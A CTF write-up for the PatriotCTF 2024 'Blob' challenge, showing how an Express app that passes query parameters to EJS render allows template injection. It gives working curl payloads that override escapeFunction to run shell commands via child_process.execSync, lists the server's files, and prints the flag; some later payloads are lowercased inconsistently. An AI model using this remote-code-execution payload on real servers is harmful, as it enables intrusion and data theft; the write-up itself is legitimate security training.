PatriotCTF 2024 challenges
These are my writeups for PatriotCTF 2024. The event took place from Sat, 21 Sept. 2024 07:00 Japan Standard Time (JST) until Mon, 23 Sept., 2024 07:00 JST.
PatriotCTF 2024 Blob Writeup
This article contains my writeup for the PatriotCTF 2024 Blob challenge.
Challenge notes
blob says: blob
http://chal.competitivecyber.club:3000
flag format: caci{.*}
author: caci
Files
Screenshot of the rendered index in a browser
The challenge comes with two files:
Here’s what’s in the index.js file:
// index.js
require("express")()
.set("view engine", "ejs")
.use((req, res) => res.render("index", { blob: "blob", ...req.query }))
.listen(3000);
The views/index.js template contains the following:
<!DOCTYPE html>
<html lang="en">
<head>
<title>Blob</title>
<style>
/* … styles omitted */
</style>
</head>
<body>
<main>
<div id="blobfish"></div>
<div id="chat">blob say: <%= blob %></div>
<!-- … -->
</main>
</body>
</html>
Notice the <%= blob %> part allowing you to inject arbitrary content via ...req.query in index.js.
Template injection
EJS templates like the one used here are susceptible to template injections. The EJS maintainers suggest that you should make your templates safe instead of reporting that “unsafe template are unsafe”2:
security professionals, before reporting any security issues, please reference the security.md in this project, in particular, the following: “ejs is effectively a javascript runtime. its entire job is to execute javascript. if you run the ejs render method without checking the inputs yourself, you are responsible for the results.”
in short, do not submit ‘vulnerabilities’ that include this snippet of code:
app.get('/', (req, res) => { res.render('index', req.query); });
Here’s how you can override the blob:
curl http://chal.competitivecyber.club:3000 --url-query blob=hello
This gives the following (abbreviated) response:
<!-- … -->
<div id="blobfish"></div>
<div id="chat">blob say: hello</div>
<!-- … -->
The trick is to overwrite the EJS render behavior3 and set the
escapeFunction parameter 4 to an arbitrary JavaScript string. Here’s the relevant code in ejs/lib/ejs.js:
compile: function () {
// …
var escapeFn = opts.escapeFunction;
// …
// NOTE: you need to enable template debugging for this to work
// just pass --url-query debug=true
// - Justus
if (opts.compileDebug) {
src = 'var __line = 1' + '\n'
+ ' , __lines = ' + JSON.stringify(this.templateText) + '\n'
+ ' , __filename = ' + sanitizedFilename + ';' + '\n'
+ 'try {' + '\n'
+ this.source
+ '} catch (e) {' + '\n'
+ ' rethrow(e, __lines, __filename, __line, escapeFn);' + '\n'
+ '}' + '\n';
}
else {
src = this.source;
}
}
// …
scanLine: function (line) {
// …
switch (line) {
// …
default:
// In script mode, depends on type of tag
if (this.mode) {
switch (this.mode) {
// …
// Exec, esc, and output
case Template.modes.ESCAPED:
this.source += ' ; __append(escapeFn(' + stripSemi(line) + '))' + '\n';
break;
// …
}
}
}
},
// …
If we’re clever about this, we can make the EJS template print something escaped using our own evil escape function.
Here’s how you can list the contents of the / directory with Node.js’s child_process.execSync5 function:
curl http://chal.competitivecyber.club:3000 \
--url-query debug=true \
--url-query "settings[view%20options][client]=true" \
--url-query 'settings[view%20options][escapeFunction]=(() => {});return process.mainModule.require("child_process").execSync("ls /").toString()'
app
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
I’m guessing the flag is in the /app directory:
curl http://chal.competitivecyber.club:3000 \
--url-query debug=true \
--url-query "settings[view%20options][client]=true" \
--url-query 'settings[view%20options][escapefunction]=(() => {});return process.mainmodule.require("child_process").execsync("ls /app").tostring()'
Looks good:
flag-6637c8dd34.txt
index.js
node_modules
package.json
views
yarn.lock
Read out flag-6637c8dd34.txt:
curl http://chal.competitivecyber.club:3000 \
--url-query debug=true \
--url-query "settings[view%20options][client]=true" \
--url-query 'settings[view%20options][escapefunction]=(() => {});return process.mainmodule.require("child_process").execsync("cat flag-6637c8dd34.txt").tostring()'
Here’s the flag:
caci{bl0b_s4y_pl3453l00k0utf0rpr0707yp3p0llut10n}
Screenshot showing the flag for this challenge extracted using a template injection Open in new tab (full image size 19 KiB)
-
https://expressjs.com/ Express ↩︎
-
https://ejs.co/ Embedded JavaScript templating. ↩︎ ↩︎
-
https://blog.huli.tw/2023/06/22/en/ejs-render-vulnerability-ctf/ “EJS Vulnerabilities in CTF " ↩︎
-
https://github.com/mde/ejs/blob/ae6ed1f54a204424dace55817b042a4385e91ffd/lib/ejs.js#L580
ejs/lib/ejs.js↩︎ -
https://nodejs.org/api/child_process.html#child_processexecsynccommand-options
child_process.execSync(command[, options])↩︎